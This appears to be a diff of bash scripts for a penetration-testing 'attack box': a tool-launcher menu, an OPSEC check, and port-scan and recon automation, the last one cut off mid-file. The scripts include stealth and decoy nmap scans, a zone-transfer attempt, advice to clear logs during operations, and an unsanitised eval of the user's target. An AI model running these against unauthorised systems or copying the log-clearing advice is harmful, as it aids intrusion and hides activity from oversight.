echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)"
|
||||
echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)"
|
||||
echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)"
|
||||
echo -e "${BLUE}4.${NC} WHOIS Lookup"
|
||||
echo -e "${BLUE}5.${NC} Shodan Search"
|
||||
echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)"
|
||||
echo -e "${BLUE}7.${NC} Certificate Transparency"
|
||||
echo -e "${BLUE}8.${NC} Automated Recon Script"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) domain_enum ;;
|
||||
2) subdomain_discovery ;;
|
||||
3) dns_enum ;;
|
||||
4) whois_lookup ;;
|
||||
5) shodan_search ;;
|
||||
6) google_dorking ;;
|
||||
7) cert_transparency ;;
|
||||
8) automated_recon ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Network scanning menu
|
||||
network_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Network Scanning Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nmap Host Discovery"
|
||||
echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)"
|
||||
echo -e "${BLUE}3.${NC} Nmap Full Port Scan"
|
||||
echo -e "${BLUE}4.${NC} Nmap Service Detection"
|
||||
echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts"
|
||||
echo -e "${BLUE}6.${NC} Masscan Fast Scan"
|
||||
echo -e "${BLUE}7.${NC} Automated Port Scan Script"
|
||||
echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nmap_discovery ;;
|
||||
2) nmap_port_scan ;;
|
||||
3) nmap_full_scan ;;
|
||||
4) nmap_service_detection ;;
|
||||
5) nmap_vuln_scripts ;;
|
||||
6) masscan_scan ;;
|
||||
7) automated_port_scan ;;
|
||||
8) network_discovery ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Web application testing menu
|
||||
web_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Web Application Testing Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)"
|
||||
echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)"
|
||||
echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)"
|
||||
echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)"
|
||||
echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)"
|
||||
echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)"
|
||||
echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)"
|
||||
echo -e "${BLUE}8.${NC} Automated Web Enum Script"
|
||||
echo -e "${BLUE}9.${NC} Launch Burp Suite"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) directory_enum ;;
|
||||
2) tech_detection ;;
|
||||
3) web_vuln_scan ;;
|
||||
4) web_crawler ;;
|
||||
5) param_discovery ;;
|
||||
6) sql_injection ;;
|
||||
7) xss_testing ;;
|
||||
8) automated_web_enum ;;
|
||||
9) launch_burp ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Vulnerability assessment menu
|
||||
vuln_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Vulnerability Assessment Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nuclei Scanner"
|
||||
echo -e "${BLUE}2.${NC} OpenVAS Scan"
|
||||
echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)"
|
||||
echo -e "${BLUE}4.${NC} CVE Search"
|
||||
echo -e "${BLUE}5.${NC} Vulnerability Database Lookup"
|
||||
echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nuclei_scan ;;
|
||||
2) openvas_scan ;;
|
||||
3) searchsploit_search ;;
|
||||
4) cve_search ;;
|
||||
5) vuln_db_lookup ;;
|
||||
6) custom_vuln_scripts ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Functions for each tool category
|
||||
domain_enum() {
|
||||
echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
|
||||
theHarvester -d "$domain" -b all -l 500
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
subdomain_discovery() {
|
||||
echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running Subfinder...${NC}"
|
||||
subfinder -d "$domain" -o "subdomains_$domain.txt"
|
||||
echo -e "${GREEN}[+] Running Amass...${NC}"
|
||||
amass enum -d "$domain" -o "amass_$domain.txt"
|
||||
echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
nmap_port_scan() {
|
||||
echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Scanning $target...${NC}"
|
||||
nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
|
||||
echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
directory_enum() {
|
||||
echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
|
||||
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
automated_recon() {
|
||||
echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
|
||||
echo -ne "Enter target domain/IP: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/recon_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
automated_port_scan() {
|
||||
echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/port_scan_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
automated_web_enum() {
|
||||
echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
||||
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
|
||||
/root/operator/tools/scripts/web_enum_automation.sh "$url"
|
||||
else
|
||||
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
# Tool status and updates
|
||||
tool_status() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Tool Status & Updates ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
# Check key tools
|
||||
tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
|
||||
|
||||
for tool in "${tools[@]}"; do
|
||||
if command -v "$tool" &> /dev/null; then
|
||||
echo -e "${GREEN}[✓]${NC} $tool - Installed"
|
||||
else
|
||||
echo -e "${RED}[✗]${NC} $tool - Not Found"
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Generate reports
|
||||
generate_reports() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Generate Reports ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
WORKSPACE="/root/operator"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
||||
|
||||
mkdir -p "$REPORT_DIR"
|
||||
|
||||
echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
|
||||
|
||||
# Collect all scan results
|
||||
find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
|
||||
# Create summary report
|
||||
cat > "$REPORT_DIR/summary_report.md" << EOF
|
||||
# Manual Testing Report
|
||||
**Generated:** $(date)
|
||||
**Operator:** $(whoami)
|
||||
|
||||
## Engagement Summary
|
||||
This report contains results from manual penetration testing activities.
|
||||
|
||||
## Files Included
|
||||
$(ls -la "$REPORT_DIR" | grep -v "^total")
|
||||
|
||||
## Key Findings
|
||||
- Review individual tool outputs for detailed findings
|
||||
- Cross-reference results across multiple tools
|
||||
- Validate findings manually before reporting
|
||||
|
||||
## Next Steps
|
||||
1. Analyze all collected data
|
||||
2. Prioritize findings by severity
|
||||
3. Prepare client deliverables
|
||||
4. Archive results securely
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Main execution loop
|
||||
main() {
|
||||
while true; do
|
||||
clear
|
||||
show_banner
|
||||
show_main_menu
|
||||
read -r choice
|
||||
|
||||
case $choice in
|
||||
1) recon_menu ;;
|
||||
2) network_menu ;;
|
||||
3) web_menu ;;
|
||||
4) vuln_menu ;;
|
||||
5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
|
||||
6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
|
||||
7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
|
||||
8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
|
||||
9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
|
||||
10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
|
||||
11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
|
||||
12) tool_status ;;
|
||||
13) generate_reports ;;
|
||||
0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
|
||||
*) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# Check if running as root
|
||||
if [[ $EUID -eq 0 ]]; then
|
||||
echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
|
||||
sleep 2
|
||||
fi
|
||||
|
||||
# Create operator structure if it doesn't exist
|
||||
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
||||
|
||||
# Start the main menu
|
||||
main
|
||||
Executable
+118
@@ -0,0 +1,118 @@
|
||||
#!/bin/bash
|
||||
# OPSEC Status Check Script
|
||||
# Monitors operational security status for red team operations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Check VPN Status
|
||||
echo -e "${BLUE}[*] VPN Status:${NC}"
|
||||
if pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ OpenVPN is running${NC}"
|
||||
VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
|
||||
if [ ! -z "$VPN_INTERFACES" ]; then
|
||||
echo -e "${GREEN} ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED} ✗ OpenVPN not detected${NC}"
|
||||
fi
|
||||
|
||||
# Check Tor Status
|
||||
echo -e "\n${BLUE}[*] Tor Status:${NC}"
|
||||
if systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ Tor service is active${NC}"
|
||||
if netstat -tuln 2>/dev/null | grep -q ":9050"; then
|
||||
echo -e "${GREEN} ✓ SOCKS proxy listening on 9050${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - Tor service not active${NC}"
|
||||
fi
|
||||
|
||||
# Check External IP
|
||||
echo -e "\n${BLUE}[*] External IP Check:${NC}"
|
||||
EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
|
||||
if [ ! -z "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ External IP: $EXTERNAL_IP${NC}"
|
||||
else
|
||||
echo -e "${RED} ✗ Could not determine external IP${NC}"
|
||||
fi
|
||||
|
||||
# Check DNS
|
||||
echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
|
||||
DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
|
||||
echo -e "${GREEN} ✓ DNS servers: $DNS_SERVERS${NC}"
|
||||
|
||||
# Check for DNS leaks
|
||||
echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
|
||||
DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
|
||||
if [ ! -z "$DNS_LEAK" ]; then
|
||||
if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ No DNS leak detected${NC}"
|
||||
else
|
||||
echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - DNS leak test failed${NC}"
|
||||
fi
|
||||
|
||||
# Check Active Connections
|
||||
echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
|
||||
ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
|
||||
echo -e "${GREEN} ✓ $ACTIVE_CONS active connections${NC}"
|
||||
|
||||
# Check Suspicious Processes
|
||||
echo -e "\n${BLUE}[*] Process Security Check:${NC}"
|
||||
SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
|
||||
if [ $SUSPICIOUS_PROCS -gt 0 ]; then
|
||||
echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
|
||||
else
|
||||
echo -e "${GREEN} ✓ No obvious monitoring processes${NC}"
|
||||
fi
|
||||
|
||||
# Check SSH Keys
|
||||
echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
|
||||
SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
|
||||
echo -e "${GREEN} ✓ $SSH_KEYS SSH public keys found${NC}"
|
||||
|
||||
# Check System Logs
|
||||
echo -e "\n${BLUE}[*] Log Security:${NC}"
|
||||
AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
|
||||
if [ ! -z "$AUTH_LOG_SIZE" ]; then
|
||||
echo -e "${GREEN} ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
|
||||
fi
|
||||
|
||||
# Check Firewall Status
|
||||
echo -e "\n${BLUE}[*] Firewall Status:${NC}"
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
UFW_STATUS=$(ufw status 2>/dev/null | head -1)
|
||||
echo -e "${GREEN} ✓ UFW: $UFW_STATUS${NC}"
|
||||
fi
|
||||
|
||||
if command -v iptables >/dev/null 2>&1; then
|
||||
IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
|
||||
echo -e "${GREEN} ✓ iptables: $IPTABLES_RULES chains configured${NC}"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Provide recommendations based on findings
|
||||
echo -e "${BLUE}[*] Recommendations:${NC}"
|
||||
if ! pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider using VPN for enhanced anonymity${NC}"
|
||||
fi
|
||||
|
||||
if ! systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider enabling Tor for additional anonymity${NC}"
|
||||
fi
|
||||
|
||||
echo -e "${GREEN} • Regularly monitor external IP changes${NC}"
|
||||
echo -e "${GREEN} • Clear logs periodically during operations${NC}"
|
||||
echo -e "${GREEN} • Use proxychains for sensitive network operations${NC}"
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
#!/bin/bash
|
||||
# Automated Port Scanning Script for Attack Box
|
||||
# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target> [quick|full|stealth]"
|
||||
echo "Example: $0 192.168.1.1 full"
|
||||
echo " $0 example.com quick"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
SCAN_TYPE="${2:-quick}"
|
||||
WORKSPACE="/root/operator/scans/nmap/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="portscan_$DATE.log"
|
||||
echo "Port scan started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
case $SCAN_TYPE in
|
||||
"quick")
|
||||
echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
|
||||
log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
|
||||
log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
|
||||
;;
|
||||
|
||||
"full")
|
||||
echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
|
||||
log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
|
||||
log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
|
||||
log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
|
||||
log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
|
||||
;;
|
||||
|
||||
"stealth")
|
||||
echo -e "${GREEN}[+] Stealth Port Scan${NC}"
|
||||
log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
|
||||
log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
|
||||
;;
|
||||
|
||||
*)
|
||||
echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Additional enumeration for common services
|
||||
echo -e "${GREEN}[+] Service-specific enumeration${NC}"
|
||||
|
||||
# Check for common vulnerabilities
|
||||
log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
|
||||
|
||||
# Extract open ports for further enumeration
|
||||
if [ -f "nmap_*.gnmap" ]; then
|
||||
OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
|
||||
echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
|
||||
|
||||
# Service-specific scans
|
||||
if echo "$OPEN_PORTS" | grep -q "21"; then
|
||||
log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "22"; then
|
||||
log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "53"; then
|
||||
log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
|
||||
if command -v dig &> /dev/null; then
|
||||
log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
|
||||
log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "139\|445"; then
|
||||
log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
|
||||
if command -v enum4linux &> /dev/null; then
|
||||
log_and_run "enum4linux scan" "enum4linux $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "1433"; then
|
||||
log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "3306"; then
|
||||
log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Generate summary
|
||||
echo -e "${GREEN}[+] Port Scan Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count open ports
|
||||
if ls nmap_*.gnmap 1> /dev/null 2>&1; then
|
||||
TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
|
||||
echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
|
||||
fi
|
||||
|
||||
# Generate simple report
|
||||
cat > "portscan_report.txt" << EOF
|
||||
Port Scan Report for $TARGET
|
||||
=============================
|
||||
Scan Type: $SCAN_TYPE
|
||||
Date: $(date)
|
||||
Workspace: $WORKSPACE
|
||||
|
||||
Open Ports:
|
||||
$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
|
||||
|
||||
Summary:
|
||||
- Scan completed successfully
|
||||
- Results saved in multiple formats (.nmap, .xml, .gnmap)
|
||||
- Log file: $LOG_FILE
|
||||
|
||||
Next Steps:
|
||||
1. Review service versions for known vulnerabilities
|
||||
2. Run targeted service enumeration
|
||||
3. Check for default credentials
|
||||
4. Look for misconfigurations
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
|
||||
echo "Port scan completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+123
@@ -0,0 +1,123 @@
|
||||
#!/bin/bash
|
||||
# Automated Reconnaissance Script for Attack Box
|
||||
# Usage: ./recon_automation.sh <target_domain>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_domain>"
|
||||
echo "Example: $0 example.com"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
WORKSPACE="/root/operator/scans/reachability/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="recon_$DATE.log"
|
||||
echo "Reconnaissance started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Subdomain enumeration
|
||||
echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
|
||||
log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
|
||||
log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
|
||||
log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
|
||||
|
||||
# Combine and deduplicate subdomains
|
||||
log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
|
||||
|
||||
# Check which subdomains are alive
|
||||
echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
|
||||
log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
|
||||
|
||||
# Port scanning on live subdomains
|
||||
echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
|
||||
log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
|
||||
|
||||
# Web technology detection
|
||||
echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
|
||||
|
||||
# Screenshot and visual recon
|
||||
echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
|
||||
if command -v aquatone &> /dev/null; then
|
||||
log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
|
||||
fi
|
||||
|
||||
# Directory bruteforcing
|
||||
echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
|
||||
mkdir -p directory_enum
|
||||
while IFS= read -r url; do
|
||||
if [[ $url == http* ]]; then
|
||||
clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
|
||||
log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
|
||||
fi
|
||||
done < live_subdomains.txt
|
||||
|
||||
# Vulnerability scanning with Nuclei
|
||||
